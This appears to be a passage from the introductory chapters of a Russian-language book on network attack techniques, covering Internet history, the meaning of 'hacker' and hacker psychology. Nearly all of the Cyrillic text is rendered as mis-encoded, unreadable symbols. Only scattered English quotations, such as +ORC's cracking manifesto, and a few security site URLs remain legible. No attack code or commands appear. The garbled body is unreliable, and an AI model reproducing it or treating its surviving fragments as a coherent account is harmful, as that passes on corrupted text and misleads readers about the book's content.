
 ᯥ᪨

  

 ⮩ 
⪮ ᮤঠ
<孨 ⥢ ⠪>  㯭 ଥ ᪠뢠  ஡ ᭮ ⥢ ᮮ饭.  ਠ ⠭  ⮢ ⥫,  ⥫    ᠭ  ਭ樯 㭪樮஢ , ᭮  ⮪, ⥪ 樮 ⥬  ..
<孨 ⥢ ⠪>    ⥬ ࠬ, ࠧࠡ稪 ⥢ ணࠬ ᯥ祭, WEB-ࠬ, 㤥⠬   짮⥫, ᫮ ᥬ, 騬 ன⢮   騬  ᢮ ⢮  Internet.
  ( ᪫祭  <>)  ࠣ  <>  <> -  ଠ   - 権,  ஬    ।     楫  㤥 ᯮ짮.
 ਠ, ᯮ짮  ,    筨  祭  १ ᮡ⢥ ᫥, ⮬  ᥪ  ।⠢   ᨮ ᯥ樠⠬.





O  ⮩ :
O ⪠   Internet
O ᭮ 稭 ᯥ譮 ⥢ ⠪
O  ନ <堪>
O   堪
O 宫 堪஢
O ।०  堪


।᫮


᫥ ⨫⨥   ஢. ६  諠   -  ᪨,  楫  誠䮢 ३, 蠢 㡮  ,  ᮭ, ࠧ 設 ⮢ 壠஢  મ.


१ <砭> *


  ॢ ஢ ᯮ  .  - ࠧ 㤥 樫,   ᣨ   殮,    室   ண ॣࠦ 䨣ன  (ࠧ஬  樫 㤥). <, , ?>      孨᪨ ᭥,  ⢥ ࢮ,  室  : < -6 ᥬ>.   直 砩    ९⥫ < -6 >. <,  , ⠪  > - ⢥砥 ९⥫.


 룫拉 設 -6,   ன  饭  1967 .
 砫 ﭮ ஭-᫨⥫ 設 ᯮ짮 襩   ந⢠, -  室 뫨 ⥪⮢ ।, ஭ ⠡, ࠧࠧ  . ६  , - ० ᥣ 㧥 ஬, ⨭⠫쭮  Internet.  ⭮,    ࢮ ⨫    ⠭   ஢ , -   ꥤ   ᫨⥫ ⥬.
⨥ Internet  ⭮襭  ஡ ᭮,    饭 (.. 饭)     ⥩.    ६ ⨬ ஡   ᮢ [1]. ࠡ稪   ⥩   । ६ 㢥 ᪮   । , ன ⨣  १   ᭮.


१ <砭> *




 設⢥ ய஢ ᥬ - 쬨  堭  ⢮    ⮬ 樮 ⥬ MS-DOS   ᨨ UNIX 䨧᪨    饭묨.
 , 稢 ࠢ,   ᮫⭮ ,   㤨, -  ⮬ ᫥  ஢ ᠬ 樮 ⥬  ᢮ ᬮ७.  ᫨   ⢮   堭, <訩>  ᬮ   ।.
  ᠬ Internet [2] ᮧ  䨭஢  㡮 筠, ᫥⥫᪠, ᯥਬ⠫쭠 ।, ।祭  ᪠  ⫠ 孮, ᯮᮡ ࠡ     ᫮ ⮬ , -  ⮣  .  , 宫  稫,  1 ﭢ 1983  ⢮ ஭  , - ஥ ARPANET 稫 ᫥⥫ ⠤,  ⮢  ᯫ樨.
  稭  ᥣ ᯥ訫.   Internet  ᮢ ᯮ짮 ॡ  ᬮ  ஥  ⮬ ॡ ᭮. 祬, ⮣ ᭮   , -    設⢮ ᮢ  뫨 饤㯭묨   ॡ  ஫  室,  饭 筮    ᬠਢ 쥧,    ⮢ 騪 ਪ   ६ ॢ  ᥩ.
<஡  ᪠  ᠬ  뫮  ⮣,   ᪠ 祣 ﭭ  ࠭,   ⥫쭮  (ணࠬ ᯥ祭)    ᨫ     뭮ᨫ>,- ᠫ  ᫮   <᪠ : ਨ> [3]. 祬,   ६ 㦥 﫨 ⠪ ணࠬ,  "Creeper [4]"  "Cookie Monster [5]". "" ࠭   ARPANET    [6], 뤠  ࠦ 設 ᮮ饭 <I'm the Creeper. Catch me if you can>,  <> ६  ६ ॡ   祭  饣 ࠡ 設   ,     ࠫ - ⨯ < ⥡ 祭> (᫨ ॡ㥬 ࠧ 㤠 㣠).  ணࠬ 來 ஢    ⥬ ᭮  뢠 ਭ樯  㤠 ⠪,   祭묨  ந஢묨 ᯥ樠⠬,  ,  㦨 .
   室  Internet 樨. ,       㠫  [7],  ஢ - ⠢騪  ⥢ . ७   ਢ  ⥫쭮 ᭨ 業,  ᪮ ࠪ᪨  騩   ᥡ   Internet. [8] ,   묨 짮⥫ﬨ,   砫    ,   㤮 ⮨ ⪫ (ࠢࠬ  -    죨 ࠢ ⨫,    㫨,  ࠢ,   ).


१ <>*




⢥ত,   -   ᨨ 뫮  ᪨ ஢஢, 祬  .   ?
 91- - 筮.    ஢஢ ⮣  뫮  栬 .  孮   ISP " $3000 讬" ( PC-based access router,  ஬  [9] ਫ ,   BSD Inc.) 뫠 㦥  । 92-.    㯠, 몠  ࠡ⠥.  ﭭ  ⮣   .
""   蠭  ⮬ (筥, ঠ⥫ 饣 設⢠ franchise), ᫨   ᭮⥫   - ⨥  . 譮,  ୥⮢᪨   ਪ ,  饬-,  १⮬ ᮢ᪨ ᯥਬ⮢  ᮧ 쪨 ॣ ISP.
  ⮭ ୠ Internet.  14, <The Lord of Bugs>
  뫨   ஬ ,   ᮡ भ ⪨,  -  뫮 㦥   ᨫ 砫쭮 業ࠫ Internet.    襡 窨  ணࠬ ᯥ祭 ६   㧫. 饭 ⮪   樮 ⥬ ⠫ ⠭⮬ -䠪,  ॡ  祭  ६  ᨫ, ⮡ ⠢  ⮢  ਭ  ⠭.     ⠫ ⨬ ?  Internet-஫㥬 ।,    㪮⢠. ࠧ   ࣠樨, 騥  ᭮,   ᮢ,   ਤ᪮ ᨫ  .  筮 , ᭮  㧫 - 筮   ,   饣 ࠤ 祣 ⮨  ⥫ ।⢠,    ⮣ < ࠡ⠥>.
  Internet 樫஢ ⮫쪮,  㪢쭮     ⮨ 祩- 䨭ᮢ . ⨢ ࠧ On-line ࣮,  室  ⥣  ⥩  Internet. 㣨 ᫮,  㧫, ᮤঠ騥 ᪨  , ன ᭮᫮ ⮨.
᪨ ந室騥     ⥫쭮 ஥஢   饭 ।.  ࠪ᪨ 室  ⪨ ॢ 襭  - ⨫⭥ ,    ᢮ ६ ᯥ⨢묨  ⠫,  ᥩ   룫 ,  뢠饩 襢   .  設⢥ 砥 ᯮ 饭 ⮪  ⥭樠쭮 梨 ணࠬ ᯥ祭. ⭥ ᥣ ᫠ (୥, 筠  ᥣ譨 ॡ) 饭  ⮪ TCP/IP   樮 ⥬.


१ <砭>*




 , 类 UNIX -  饭 樮 ⥬.   ᠬ     祬 ࠭ .  ᢨ⥫, - 設⢮ ஬  ᮢ訫   孨᪮ ᮢ襭 ⥬ ᭮ UNIX.     ஡ ࠧ࠭ 堭  稭  ⠪,  ᥩ 筮 ,    UNIX ⮩稢  訡 ணࠬ ᯥ祭, 믮饣  訬 ਢﬨ. , ਬ,   ᮡ⢥ ஫ 짮⥫       䠩 ஫, ண   ।⠢  ᮡࠥ [10]. ⮬, ஫   ᠬ 짮⥫,  ணࠬ, 饭    ⥬.  ࠡ⠥ ଠ쭮   ,     ⠪ ணࠬ  㦨 訡,  짮⥫ 믮    ᢮ ᬮ७   ⮩ ணࠬ (, ,  ⥬).  ᫮ ਫ ⠪ 訡  ।, ⮬,  諥    ஢ ᢮ ਢ  㯥௮짮⥫. ஡  ⮬ ᪠   <孮 뢠 ⥪>.
 ᭮ 稭 ᯥ譮 ⥢ ⠪ - 稥 <>  ணࠬ ᯥ祭   訡   ᫨⥫쭮 ⥬.   ,  㣮 ࠭஢ ࠭ . ᯮ짮 ᠬ ᫥  ਫ   ᥭ  訡   楫     [11].  ⮬    묨 <ࠬ>  ⢮  㦥 訡,     ⢥ত,  室   ᭮.


१ <ଠ>*




  ஬ ⢥  뢠 <> ,     ᫥ 㧫: http://www.securityfocus.com, http://rootshell.com, http://www.security.nnov.ru, http://www.hackzone.ru,   㣮 ࢥ, 饭 ஡ ଠ樮 ᭮.
ࠪ᪨    ﭨ ᯥ ᢮६   ६ 㯠饩 ଠ樨, 訢饩   ஭  ᪮ .
諥 室  祭 룮 , -    , 祬  㣠 -ன ᢥ <ப>  ਬ   ⢥,  ᯥ襩 㧭   梨  ⭮   ॠ஢?
 몠 <>   ⠪ ᯥ譮,  室.    ⮬  ⮫쪮 -ந⥫, 筮 뢠騥 뫮 ।   ࢥ প, -   짮⥫ ⠫ ᢮ ⥬  ,  ன  ᪮쪮 ࠧ  ? 襭 ୮, .
 ᭮ 室  ⮫쪮  訡 ࠧࠡ稪 ணࠬ ᯥ祭: 諥  ᫠ ⢥ 䠩, ࠦ ᮬ ( ᪮ ⮩),  ਣ饩  < ࠡ ,  ⠢  ᫠>, <ᠬ 稥 誨 >  -  ⮬ த. ⮢ 짮⥫ [12], ᪮॥ ᥣ,  ⠪ 㬥,  ⥬ ᠬ ⠪饬   ᢮ 設.  ⠪, ⭮騥  樠쭮 ਨ,  饩  ᬠਢ  . <孨 ⥢ ⠪> 饭 堭 ⢨ ⥢ ⮢, 訡 ணࠬ ॠ権, ⪠ ⥬   ⥭䨪樨, .. ⠪  孨,    祫.  祭 祫  㣠 㪠 - 宫.
⫨⥫쭮 ᮡ <孨 ⥢ ⠪>    㤥  ⢨ < 騪>.    ࠧ   ४権 ⨯ <  ⨫,    ᤥ  >. ⨢, ᥣ 㤥 뢠,  ᠬ  ⠪ ⨫,   ⥮᪨ 몫  室   ᮯ஢ 來묨 ᯥਬ⠬, 騬  ந室饣.
   ᡮ୨  㦥 ப,  ᪨ 㦤   < 뫮  , ᫨  ணࠬ 㬠 ,   >,    祡.  - ⮬  祡. 稢 ⥭ ॡ 祭 ᭮ ணࠬ஢    Perl,  ࠧ 襩 ⥬⨪ [13], ⥪ யᮢ,  몠 ᥬ, , ⮩ 祫᪮ 樨  ᬥ [14].
,   , ⥫!
 㬠,  ,     ४᭮. , । ᭮⥩, 㦠ᮢ   ३  .  ; ᫨   㪫  ஭,   ⥡ ⠬ ண ஧ ⥫, ⠬ ஧ ⥡  ⠢,  , 㤮 ᪮௨  ࠪ.
 㦠ᮢ    .  ,     稭 ⢮ . , ᫨    冷 ᢮ ஭     㢨,     ⥡! ᬮ  ᥡ, ﭨ  ,     ४᭮!  ,  ,    祬  ⪠ ⥡, ⮫쪮    ⮣.      ࠤ,  譮 .



 ⠪ 堪?



"   ନ! ନ᪠ ⠭   ᮡ  ᫥⢨"
ઠ 㣠檨  㣠檨 <㤭  >
ନ 堪 

[15] 筮 襫  ࠧ ᨪ     ⭮襭   .   砫쭮 祭  ६ 뫮.  <堪> ᨭ ᫮ <>  < >.  㣮 ஭, ।ਭ  ⪨ <⪨> ନ   ⨩ ⠪, ਬ,  <ࠪ> - ᪨ 騪  ⨢ 类 ᪮  ᢮ 㦤 堪ࠬ.


१ <ଠ> *




ନ "cracker "( ᫮ ॢ  ᪮ "⥫"),    1985  ᠬ 堪ࠬ    ୠ⠬, ࠢ쭮 㯮ॡ騬,   , ନ 堪.
   ନ "堪"  ⭠.  ⮪   ॢ᪮,  ஬ <堪> 砫  ⮯, 騩  㤠  ॢ.   堪 㦤   ᥬ,   ᮪ ⮫ࠬ  ⭨, ᮧ騬    ந ⢠ (㣨 ᫮, 堪 ।⠢﫨 ᮡ ন ⭨).
 ⨤,     ࠭,  ନ ४祢   ।.    ⥧  <堪> ਯ뢠 , ப뢠饬 㬠; 㣨 㢥,  ⠪ 栫 [16] ५. , ⠪  , 堪ࠬ ⠫ 뢠 ⥬ ணࠬ⮢, 䠭筮 । ᢮ , .. ন,    ⭨.
ࠤ ࠭﫠  殮  ⪠ , ⥬   㤥⮢,  㢨 , ⨫ 堪ࠬ  䠭⨪  ᪫祭,  ᫨  뫨 來묨 짮⥫ﬨ.  ᪮ 孮᪮     ᢮, ਣ쭮  堪஢ - <At MIT, a "hacker" is someone who does some sort of interesting and creative work at a high intensity level. This applies to anything from writing computer programs to pulling a clever prank that amuses and delights everyone on campus>.
 ந "The Shockware Rider"  㭭 (John Brunner) 1975 , "The Adolescence of P-1"   (Thomas Ryan) 1977  , ,  "Necromancer" ﬠ ᮭ (Wilam Gibson), 㡫  1984 , ᢮ ﬨ ࠫ  騪,  맮 .  ᮢ     ,  뫮 ᭮ 墠祭 .   ન ᯮ:   ।⠢⥫   堪ࠬ  ୠ,    ᠬ⥫쭮 ᢮ ᥡ  ,   ⮣   堪ࠬ ⠫ ࠧ㬥 諥, 襭    ⥩ [17], 祣  堪 ண    ⠫   ᥡ ⨬ 㫮.
 饥 ६ ନ <堪> ⠫ ⨭ ᥮ꥬ, 祣   業  .  堪ࠬ ⭮ ஢ ⮢, ᮢ 㯫  ਬ 孨᪨ ।,   襭, ᮯ⥫, ⥬ ணࠬ⮢,  ன   ணࠬ⮢,  ᮡ  ᥬ, ᯥ⮢  ᭮:  ᥡ 堪ࠬ  ,   墠⨫ ⠫  ᯮᮡ⥩  ⮢ ⠪ ணࠬ   ᫥ ਭ樯  ࠡ.
⮬,   ᫥  ⮩  ନ "堪" ᯮ짮  㤥.  ⮣  ᨬ  ⥪ 㯮ॡ ᫮ <諥>, <⠪騩>  ..
᪮ ᮮ⢮  ⭮  ᢮ 㦤, 楫  ⨢.   蠫  諥 㭨⮦ ଠ樨 祭 让 .  㦤 祫  ᠬ 䠪 ਭ  堪ࠬ.  ,   㯪   祣 ୮?
 堪ࠬ ⭮   ᯥ樠⮢,  ᠬ ᭮, ᪮   த ᢮ ⥫쭮 室 ⠪ ⥬  楫 㦨 (   ࠭)   堭 .
 饩   㤥 ।ਭ  ⮪ । ନ <堪>.  ஬ ⢮ ,     ஡ ᭮ ⥢ (   ⮫쪮) ᮮ饭.    뢠 ᥡ 堪ࠬ,   㤭  , । ௭   䨫쬮; 㣨 , ᪮쭮 稢  ⮭ ,     ᥡ 堪ࠬ [18],  ᫨ ᮢ (  ᮢ) ॣ ⠪.     ⮩ 樨 堪,   ?    ࠧ稥    㬥 ࣠  㦨 ⥬? ,   ⢨ 㬥 ᯮ,    ⠪.    ᠬ  ᥡ,  ਮ   祭.  ,  ,   ,  ,  ,   , - ⥭樠 諥, ᯮᮡ  ⨢ࠢ ⢨.
   ६ ⠫: 堪  । ᮪ ᯥ樠.    ⠪ ⥬,     ।⠢  ⮬,   ஥. 筮 ᯮ짮 㯭 ଠ樥  ⮢ ணࠬ ॠ樥 ⠪. ⮬,  堪ࠬ 室   < >, ⮬  < > 㦥 .  ⠪騥 ணࠬ  㬥஢   ⮩, ⨢  䥩,  設⢥ 砥  ॡ騩  <騪> 祣, ஬  .


१ <砭>




 ࢮ ᨨ ணࠬ AIDSTEST ਩  ᪨ ⠢ ᫥騩 ਩: <⨬,     室 稥  ᯮᮡ⥩:
1) 㬥 ணࠬ஢  ᥬ   ᭮   樮 ⥬;
2) 㬥  㤮⢨,   
 , ⠭   ⮨ 砥   筮 ।>
᪮쪮    ᥣ,    誮쭨  Visual BASIC  WordBasic, 設⢮  ᮢ襭    ࠡ⠥ 樮 ⥬.
⪨  <業>  ਭ  堪ࠬ 祭  ஢. 祬 ᫮ ?  - ,  ⠪ ⥬.   祬    - । 㣮 ࠧ. ᪨  ࠢ  饭  饭 ନ.  ⢥ ஥ ᬥ ६.   ,    - .    ᨫ  室 饩 㦠饣 , ⮬, 室    .
   ⢮  ਧ ਭ  堪ࠬ.   (ᠭ) , , ᨣ, pizza  ࠭祭 ⢠  㦤騩  ࠭⢥ .  ᫥    ⢥ত ࠢ ⠪ ⢥ত, ,  ਧ   稭,  ᫥⢨. ਢ易   ⠢  ⭮  ᢮ ६, ன   宬 뢪  室; ९ ⪨ 뢠 ﭥ, 㤭饥 ᫨⥫ ⥫쭮, ⮬  䠭⨪   筮 ⪠뢠  , 室   (   );  ?   ᢮⢥ ᥬ 騪 (  ⮫쪮 ),    ᪫⥫쭮 堪ࠬ, , ,   㣨 <堪᪨> ਧ [19].
<砫  ਬ୮  1983 .  (     - ந⥫) ࠧ  騬 ᪠, த   ,  ன      ⮬    ᫮  (   ࠡ    㯮), ନ ࠡ  1200   ஢  த᪨ ஫஢  .
 砬  堪-㤥    - (९⥫ ),   ਣ ண ॠ஢ (  - 窨, ஢, ⮢)   ⭨   襭 㤥⠬ < 㯠, ࠣ>.
 ..


< ࠢ  >



  ॠ쭮 堪᪨ ⠪



<᫨ ࠧ ⠫ ,   㦨,  ᭮   ⥭⭮, ᨮ, ᠬ.  ।   뫮 ਧ 稭   ⢮ , 祬 ⮪ 䥪, 騥  㫨栬 த.     饭 ⠫ 騥  [20]:>
ࣥ ﭥ <訢 ઠ>
 室  ⢥ত, ᪠,  ⠪ ,   稨 ᪮筮 ⢠     .  ⠪  ᥬ 堪,  ⢥ত ?   ᫥ 뢠: 設⢮  ⥩ ⥣᪮ 祭 䨧᪨   易  Internet, , , ⠪ , ᯮ 饤㯭  裡, .


१ <砭>




᪨  ࠢ⥫⢥    ᢮ 㦤 ७ 騥  Internet 䨧᪨ 㭨樮 , ⠪ , ࠭⫠᪨ ⮢ ,     ⥪  ࠢ ଠ樮 ⮪ १ ⥫䮭 .
祬,    <易> ௮⨢ ⥩  Internet  ᯥ稢  饭.   ந⥫⢥ ᮡ⢥  裡,  ࣠樨 ᯮ 㥬 ⥫䮭 , ᠢ訥   .  ⮬ ன 뢠 ਭ 騥  ।஦  , ⢥  室騥 ,   ஬ 襣 ,  ஫  室  ⥬ 뢠 祭 ⪨,    [21].


१ <ଠ>




⥫쭮,   ᨩ᪨ ᯥ㦡 㭪樮  ᠭ  ࠧ,     ⠪.   ⭮  ᪨ ࠬ, 騬  ।⢠  ᯥ祭 ᭮.
 ᥣ ᯥ譮 堪᪨ ⠪   堫 ⭮襭   ᮡ⢥ ᭮,    쭮 騪. 筮 <>    ᫨⥫ ⥬,   祫.  ஫ ⥬ , 㯠, 蠭⠦  設⢥ 砥 뢠 ⥫쭮 .  ᮢ襭 ᯮ碥   堪, ࠡ    ࠧ.  ,  ࠧ  㦤  㣠  த,  ⠪ 뢠묨, 孨᪨ ।⢠.


१ <ଠ>




  ⭨  祬 ,  <樠쭮 ਥ> - 室  㦥   ਥ    㦮 ᮭ ᨫ ᮮ ஫    ଠ,  ஭  ⥬.
  ⮣  㫨騥   ᮮ饭  ਮ᪨  ࢥ஢ NASA  ⠣? ୠ  <>  ,  ᢥ ⥫⢮,  ࠡ 㡫 ࢥ஢ 㪠 ࣠権, 㯭 १ Internet (ਬ, www.nasa.gov)  ᥪ⭮ ଠ樨   ,      । -  ࢥ ।祭  ᢮, ᯫ⭮, ᥭத 㯠.  ⠢ 㤮⢨  ଠ ࠡ  ᮢ ᥢ묨 ᯮᮡ. ਬ, 訢 ࢥ,  ᮤন ࠭祪 - 묨 ᫮ 吝   㫨.   ୠ 뢠 <>   ⪠ ( ᨬ  ᯥ譮  ᯥ譮 樨).
뢠, 筮, 砨  墠 ஫  ᫨⥫쭮 ⥬   ᠬ (᪠, ਭࠬ  ⠪ ).   ᥣ ⠪  , ண । ⥬,  ࠭ 㣠, 砩 ⠢ ᮢ襭 饭  㯮 ᢮ . 樠묨 ணࠬ 믮    ⥬,   ᯥ筮 ஢  ⥬ ஢ 室 ࠪ᪨   ௮⨢ ⥩ [22].
 ⮬ 砥 堪  諥, ⮤筮 室 ⠦    㣨,  ᪠   - 筨  ଠ .  ॠ쭮   ⠪  ந室 - ᥣ  ⮬⨧஢  饭 ⥬ 묨 ।⢠!  堪 ᢮  ,  ⨫       - ࠡ ᨫ쭠   ( ஢) 짮⥫!
筮, -     ᪠  ⠫ ⨫.       堪ࠬ? ⭮. ணࠬ ॠ ⠪ - ࠡ ணࠬ,  ॡ  饬 砥 祣 ஬  몠 ணࠬ஢ , ࠧ㬥, ⬠.
᪮  ⬮ ⠪  ⭮⥫쭮 让  ,  襩    .  -      堪ࠬ. , ᪨ ନ <堪> ९  ᯮ⥫ ⠪.
ᨫ  ᯮ⥫? ⨢,  ᨫ  ᢮ ᥭ -  堪᪨ ⨫,       ࠡ.  -   ࠭⢠,   ४ , ࠧ襩    ᫥ ⨫⨥.
"   ⢨⥫쭮  ⨭ ப    祫; , !   祭 諨  㬠  ᤥ   ".
ਯ뢠 



宫 堪



"   ࣠뢠 ᫨⥫ 業 -  ᫥    , ⠪ ,  䠪᪨   ஬諥 ࠩ , -     , ᪫祭,   訬,  騬 ,  ᨤ  ⠬ ࠢ ᫨⥫ 設, ᦠ  殮 㪨      室 ᢮ , 㦥 ᥭ    蠬, ਪ뢠騬   ⠪ ,  襭 ࠫ쭠  ਪ뢠  ப. ᫨   室  ⠪ ࠭,   ᨤ  ⮫, 묨 設묨 ᯥ⪠,   ।祭   , ন ⨦ ᪮ ⥪.  ࠡ      ,  20-30 ᮢ . , ᫨ ⮫쪮    ,  ਭ (, -, த). ᫨ ,    ᫨⥫쭮 設  ᪫誠,  ᥣ ᪮쪮 ᮢ,  ⥬ - ᭮   ࠢ   ᯥ⪠.   ,    䨧, ᠭ  -  ᢨ⥫  ⮬,        ᢮ ⥫,   ,  ஬ .  ,  ࠩ    ⠪ 㢫祭,   裡  ᫨⥫묨 設  ࠤ .  - "設 મ", ন ணࠬ.     ᥬ "
. 業. < ᫨⥫ 設  祫᪨ ࠧ ( 㦤  ᫥) [23]> (.   .1982.)
 ࠧ 堪  ﭮ -  祫, ⠪   稢訩 ⥬᪮ ࠧ [24], 뢠   ᢮ ᮡ⢥ ᥫ  室   
楫.
<   㣨  祫᪮ ⥫쭮, ᯥ ⭮襭   ணࠬ஢  ᫨⥫ 設 祭 ப:  , १  ࠧ稥  ⮫᪮ ਢ易  ᨬ,   ஢  > ᠫ  㪮  ᢮ 䨨 <ୠ ᮫>.
  ,  ⫨稥  㣨  ⥫쭮, -⠪   ᮡ.   ࠧ ᥡ 祫, 蠭 ஬,    뫥?  ⥫ ஢  ᢮  ᢮ ६  ஬ ।⠢ ᫮.
 ᭥ ⮣ 䥭 뤢  뤢 ⢮ ࠧ ⥧  ।.  室  㬥 ⨯ -   ᮡᥤ,    ⭮ ᭮ [25]; 㠫 ஢    ⢠ ᢮, ᨫ, ᠬ⢥ত,    ⠪  墠⠥  ॠ쭮 . [26]


१ <砭>*




< ᭮ ஥஢    !  㢫⥫쭮 ⨥ -  ணࠬ!  ᫠ ᬮ,   ࠡ   ⭮  १ ண!    ࠡ⮩    稢 - ᯫ 㤮⢨>.
< >  㥢
। ⢥ 宫  ,    ᨫ쭥 ᥣ ਢ뢠 筮  ⥬   稭 ⢥࣠ ⢮ [27].    䨧᪮ ᮢ襭⢮, த⢮  . 襭 ଠ쭮 祫᪮ 饭       㭨쭮 । ᠬࠦ  ᠬ⢥ত. 祬, ⭮ ⢥ত  ᥣ ࠢ -  䠭⨪  易⥫쭮  뢠 .
,    ⨭ ࠫ  宫. ।  樥⮢ । 砫 , ᮫⭮  ᯮᮡ  ॠ쭮 , 뢠騥 ஬ 㤭  饭  㦠騬 쬨, ⫨騥 ⭮ ॠ樥   ந室饥,  ᫮, 譥 ᮧ騥 ⫥ ⢥ ⮢,    ⥬ ॢ室 ( 㮧) ணࠬ  .  設⢥ 砥 䥭  ⥬,  ࠪ᪨  ⠪ 樥 ࠤ ⨧.
⨧ ( ⨭᪮ ᫮ autos - <ᠬ>, ⨧ - 㦥  ᥡ) 뢠 殮 ᪮ ன⢮,  ஬ 쭮 ᠬ      ⠪  㦠騬 ஬,  ᯮᮡ ନ஢ 樮 ਢ易  ந 饭  쬨.
 稭 ⨧  ᥣ譥 ஢ ࠧ 樭 ⠥ ⮫쪮 ,  ।,   易  ࠧ⨥ ।    ⠭  ࠧ⨥ ⠫ ⥩. 㣮  稭 뢠  娬᪨ ⠢ ,  ⠪  , ⨧ ⭮  ஦ ,  ६  ⮬  ᪠뢠 쥧 ࠦ.
業    4  15 砥  10 000 ⥩, ⥫쭠    - 稪 [28].  ⨪ ⮫쪮     ॣ஢  400 000 ⮢,   80%   ⥫ I.Q.  ।  । 室  ஢ .
"  ஭,   室 訡  ணࠬ ⠪ ,   ⠭ .   ᮢ襭 樠.    㣠뢠 ७  ஥ 祫  ࠦ      ⠬, ࠧ 樠 ⥭ , ୮,  㬥 짮 ⨬ 몮.    ᫮ ⭮襭      ,  । ⢮  ⨢" ᪠뢠  ᥡ  ,   ᭮⥫  <Accent Technologies>, ࠤ騩 ⨬ .
 뢠 㤭  饭    쬨,      㦠饬 ,  ࠦ , ᮡ .  ᠬ ⢠, 頢訥 ᥡ ᪮쪮 ࠭묨  ,  , 㤭騥   ⠪⮢  ᢥ⭨, ன   ᢮ 宦,  室   設, ।⢮ ࠢ  㣨 쬨  ॢ .
< ⮬     ᥬ ᢮   䠭⠧ -  ᪨ ᮯ  ७ ᠤ. ,     ᢮ ⢥ ⥫, ࠧ쭮 ᯮ裂饣   ᬥ  ⢠, ன     .     ० 㡮 ਠ쭮 ,  ⢮殬  ⥫ -   設⢠,   ⠥, . ⢫  㯭  -  ⥬,    > ᠫ 宫 . . ப    ᢮ ⥩,   ⠪ ⢨:
<  ᮬ 뢠 ᢮   㫠 । ஬,   , 頩  쬨.    뫠 ᭠ ,   㩤,    室: [29] ᫨   ᥡ ࠧ 㢥७  㠫쭮 , 祬 । , ஡ ᮢ⮢  宫 -  祣 쭮 ᪠.  ᮢ  易⥫  ᯮ,  ᨮ       ஡  ⠪  ஭,    ⥬  業. ᪭,  㤥    ⮣ ᠬ  , ண ⠪  墠⠥    ࠦ ⮩  ࠪ>.
⪠ 易  ⮫   ন   祬- .   ⠨  . 業  ᢮ 䨨 < ᫨⥫ 設  祫᪨ ࠧ ( 㦤  ᫥)>, 饭  ᨨ ⥫⢮ <  >  1982 .      ⮬ :
<, ஦ ᥬ⢮ ணࠬ ᫨⥫쭮 設,   ଥ, ⥫쭮  , ⥫쭮  ୮, 祬  ᫨⥫쭮 孨.
⮡ 業 , ਤ   ਬ ᪮ ன⢠,   祭  ⭮, , -, ८ࠧ襣  ᫨⥫ 設   ࠧ -  ணࠬ஢>.
।,  堪⢮  祬 ࠧ , ᪫ 諥   ਢ易       ᬮ ᢮  ,  , 祢 䠪. ࠬ     ।,     뫮,  .    ࠧ ।  ᮢ⭮ ,      ᥡ ,  ⮪ 饭.  ᮧ⥫    ᠬ ⮫뢠 ६ ⮬ 襬  祫,    ᥣ 뢠 ⠪. ᪨  - ⭮ ᫮ 堭, 騩  ⢠ ᮡ ᪮ ஭,  㤮  <>  㣠.  -    ᡥ࣠;    諥 ⥪  ᮧ⥫쭮 ஢. ⮬, ⨢  㯪 ⠪   .   ⠥ ᭨  ⠪  ,  訡  ᢮ 뢮.
 ⠬    誨 ᨨ, । ন ணࠬ⮢,  砥 ।.
<   ⮬,  , , 㥬 ᥡ ᠬ묨 ,     ⠢ ,   ࠡ  ࠬ.  ᮡ.     ᥩ ।⠢,  砥   ⢮ ॢ室⢮ , ⨬, ᫥६ ⮬,      㬥 ⠢   , 祣  .     ⠪,      㬥> ⨫   ஧ "Jen".
<।⢠ ᮢ ଠ樨 筮   ᪫⥫쭮  ⨢ ஭ 堪⢠ (  ࠦ ଠ樨, ࠧࠡ  ࠭ ᮢ), , ⠪   ஭:  堪஢ ࠪ୮ ஢ 㢫祭 ⥫쭮 ⥫쭮, ࠢ  ᭥ ୮⥩ ࠡ ଠ樮 孮,  易⥫쭮   - 樠 ⢨. ,  ,   㤠      ணࠬ ᯥ祭 뫨  ᢮ ६ 뤢  ॠ  堪ࠬ> ᠫ . . ᫮  ᢮ ࠡ <⮤  宫᪮ ᫥  ᮮ⢥ 堪஢>.


१ <砭>*




Dark Avenger: "You should see a doctor. Normal women don't spend their time talking about computer viruses."
Sara Gordon: "I do not want to be a normal woman, at least not in Bulgaria. [30]"
    ᥣ 堪⢮ 뢠 ᫥⢨ 殮 ⮫.   砥  筮 ᪮ ᨬ,     ⢮,    宧鶴  ࠢ ᨫ쭮.    㡮 㡥,  ଠ   ᢮,  ணࠬ ᯥ祭 - ᯫ.  ⫨稥  稬 ⨧, ᪨ ᨬ  ⮬ 室:  ࠡ, ⭨  ᢮ (  䠭⨪  ᢮) ६, ࠡ뢠 ᨮ,   뢠 㦠騬,    ᥫ [31], 祧.     祧  ᠬ 堪 [32].
  ⠩ ⮦⢨ ᥡ    ⠬.  祫 㭨    ।饩 䨪樨.
"If you do accept the society where we are compelled to live, its awfully egoistic way of life and its dirty "profit" values, you may eventually learn how to disable some simple protections, but you'll never be able to crack in the "right" way. You must learn to despise money, governments, televisions, trends, opinion-makers, public opinion, newspapers and all this preposterous, asinine shit if you want to grasp the noble art, coz in order to be emphatic with the code you must be free from all trivial and petty conventions, strange as it may sound. So you better take a good look around you: you'll find plenty of reasons to hate society and act against it, plenty of sparks to crackle programs in the right way: Hope all this did not sound too cretin. [33]"
+ORC an526164@anon.penet.fi



।०  堪



":     ஬: "祬    ।ॣ?".   ।ॣ .  ।ॣ  ᢮ ਬ஬,   ᫮"
७ ࡥ < -  >
 䥭 <஢ 襭> 宫  ⮫㫨  ᫥ ᮫, <>  ᨤ᪮ .  <>   砩   窨.     ⢨,  ࠩ ,  ᪮  ⮣ ᫮, 樥  ⢮.  <ᥣ >  , ᪠騥 ࠪ  ணࠬ஢  ⮢ . ,  ன ᮫⠬ ਭ ⠡ ࠦ, ᮮ饭  ஢ ଥ, ࠧ 宫.  室   : <? ,  !  ⠪ ?  ⠪  !   ⠪ -  , ⠪ !>. ᥬ  ⢠ 뢠  ᥭ 㤠஢ < >: ᪨ ன⢠  ⮣  । -  祫 ⪠뢠 ਧ ᠬ ᥡ,    ᮤﭭ.
    襩 ⥯ ਬ    㯫.     ᬮ    ஡ ᯨ祪  롨 ਭ,  ᫨     ஦.  ⮣ ॡ  㯨 ७ 宫᪨ , 㣨 ᫮, ᯨ⠭, ⨪, ࠫ.    ६, 㯠, ᪠ ,  쭮 (ᣥ஢) ।⭮ 窥    ᥡ 묨.  ⮩    <> ࢥ  , <> 祩- ⮢ 騪, ࣭    ௮樨, 襩   ᢮ ᮢ:
